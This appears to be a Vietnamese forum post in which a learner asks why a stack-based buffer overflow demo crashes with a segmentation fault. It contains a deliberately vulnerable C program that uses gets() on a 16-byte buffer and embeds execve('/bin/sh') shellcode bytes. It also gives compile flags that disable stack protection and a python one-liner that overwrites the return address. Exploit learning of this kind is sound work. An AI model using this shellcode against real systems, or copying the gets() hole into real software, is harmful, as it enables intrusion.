Stack-based overflow exploit segment fault

siêu nhân nào giải đáp giúp mình với , mình đang muốn demo cái lỗi trên mà gặp phải lỗi segment fault là sao vậy . cách làm là mình sẽ thay địa chỉ trở về printf thành hàm system :

đây là file
(shell.c)

#include <stdio.h>
int main()
{
char buf[16];
gets(buf);
printf("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80");
// day la shell  goi /bin/sh
}

rồi mình compile bằng:

gcc -m32 -fno-stack-protector -zexecstack shell.c -o shell

sau đó mình nhập dữ liệu qua pipe trong terminal :

python -c 'print "a"*20 + "\x00\x02\xe1\xf7"' | ./shell

(0xf7e10200 là đia chi của hàm system)
nhưng mà nó hiện lỗi segment fault . hiện mình đang dùng ubuntu 18.04 64 bit . Đa tạ đa tạ :blush: :blush:

83% thành viên diễn đàn không hỏi bài tập, còn bạn thì sao?